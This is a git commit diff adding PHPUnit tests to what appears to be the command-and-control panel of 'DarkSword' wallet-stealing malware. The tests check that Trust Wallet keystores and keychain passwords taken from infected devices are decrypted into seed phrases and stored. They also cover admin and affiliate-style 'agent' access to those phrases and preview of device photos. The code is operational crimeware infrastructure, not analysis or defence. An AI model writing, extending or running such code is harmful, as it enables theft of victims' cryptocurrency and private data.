feat: ds
This commit is contained in:
@@ -458,6 +458,64 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function reprocess_unlocks_trust_utc_already_stored_on_device(): void
|
||||
{
|
||||
Http::fake();
|
||||
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
|
||||
$this->assertIsString($password);
|
||||
$utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [
|
||||
'n' => 16,
|
||||
'r' => 8,
|
||||
'p' => 1,
|
||||
'dklen' => 32,
|
||||
'salt' => str_repeat('cd', 32),
|
||||
]);
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'reprocess-trust-utc',
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
]);
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => [
|
||||
'kind' => 'keychain.wallets',
|
||||
'wallets' => [
|
||||
'trustwallet' => [
|
||||
'items' => [[
|
||||
'account' => 'trustwalletUTC--demo',
|
||||
'dataHex' => bin2hex($password),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
]);
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => [
|
||||
'kind' => 'sandbox',
|
||||
'sandbox' => [
|
||||
'trust_wallet' => [
|
||||
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
|
||||
],
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
app(\App\Services\DarkSwordIngestAdapter::class)->reprocessKeystores($device->fresh('keystores'));
|
||||
|
||||
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($mnemonic);
|
||||
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
|
||||
$this->assertTrue(
|
||||
WalletKeystore::query()->where('device_id', $device->id)->get()
|
||||
->contains(fn ($row) => (int) $row->decrypted === 1)
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_bitpie_entropy_decrypts_mnemonic_and_addresses(): void
|
||||
{
|
||||
|
||||
@@ -7,7 +7,10 @@ use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\EthKeystore;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
@@ -130,4 +133,85 @@ class KeystoreAdminTest extends TestCase
|
||||
->getJson(route('user.keystores.items', $rowB))
|
||||
->assertForbidden();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_decrypt_writes_mnemonic_from_stored_trust_utc(): void
|
||||
{
|
||||
Http::fake();
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
|
||||
$this->assertIsString($password);
|
||||
$utc = EthKeystore::encrypt($phrase, $password, [
|
||||
'n' => 16,
|
||||
'r' => 8,
|
||||
'p' => 1,
|
||||
'dklen' => 32,
|
||||
'salt' => str_repeat('ef', 32),
|
||||
]);
|
||||
$device = Device::query()->create(['device_id' => 'DEVKSDECRYPT01']);
|
||||
$keychain = WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => [
|
||||
'kind' => 'keychain.wallets',
|
||||
'wallets' => [
|
||||
'trustwallet' => [
|
||||
'items' => [[
|
||||
'account' => 'trustwalletUTC--demo',
|
||||
'dataHex' => bin2hex($password),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
]);
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => [
|
||||
'kind' => 'sandbox',
|
||||
'sandbox' => [
|
||||
'trust_wallet' => [
|
||||
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
|
||||
],
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.keystores.decrypt', $keychain))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.added', 1)
|
||||
->assertJsonPath('data.decrypted', 1);
|
||||
|
||||
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($mnemonic);
|
||||
$this->assertSame($phrase, $mnemonic->mnemonic);
|
||||
$this->assertSame('Trust Wallet', $mnemonic->source);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_cannot_decrypt_other_channel_keystore(): void
|
||||
{
|
||||
$agentA = User::query()->create(['username' => 'ks-dec-a', 'password' => 'secret12', 'status' => 1]);
|
||||
$agentB = User::query()->create(['username' => 'ks-dec-b', 'password' => 'secret12', 'status' => 1]);
|
||||
$chA = 'cccccccccccccccccccccccccccccccc';
|
||||
$chB = 'dddddddddddddddddddddddddddddddd';
|
||||
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
|
||||
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
|
||||
$devB = Device::query()->create(['device_id' => 'dev-ks-dec-b', 'channel_id' => $chB]);
|
||||
$rowB = WalletKeystore::query()->create([
|
||||
'device_id' => $devB->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]],
|
||||
]);
|
||||
|
||||
$this->actingAs($agentA, 'agent')
|
||||
->postJson(route('user.keystores.decrypt', $rowB))
|
||||
->assertForbidden();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -109,12 +109,14 @@ class MnemonicWalletsTest extends TestCase
|
||||
$device = Device::query()->create(['device_id' => 'dev-mn-list']);
|
||||
$mnemonic = $this->storeMnemonic($device);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
$list = $this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.mnemonics.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.id', $mnemonic->id)
|
||||
->assertJsonPath('data.0.mnemonic', '已保存(12词)')
|
||||
->assertJsonPath('data.0.wallets_url', route('admin.mnemonics.wallets', $mnemonic))
|
||||
->assertJsonPath('data.0.refresh_url', route('admin.mnemonics.wallets.refresh', $mnemonic));
|
||||
$this->assertStringNotContainsString('abandon', $list->getContent());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -20,6 +20,18 @@ class PhotoPreviewTest extends TestCase
|
||||
$this->assertFalse($preview->headLooksHeic(''));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function heic_without_throwing_when_system_bins_are_outside_basedir(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$abs = sys_get_temp_dir().'/preview_'.uniqid().'.heic';
|
||||
file_put_contents($abs, "\x00\x00\x00\x18ftypheic\x00\x00\x00\x00mif1");
|
||||
$out = (new PhotoPreview)->payload($abs, 'dev-prev', hash('sha256', 'heic-head'));
|
||||
$this->assertFalse($out['converted']);
|
||||
$this->assertNotSame('', $out['bytes']);
|
||||
@unlink($abs);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function jpeg_passthrough_does_not_convert(): void
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user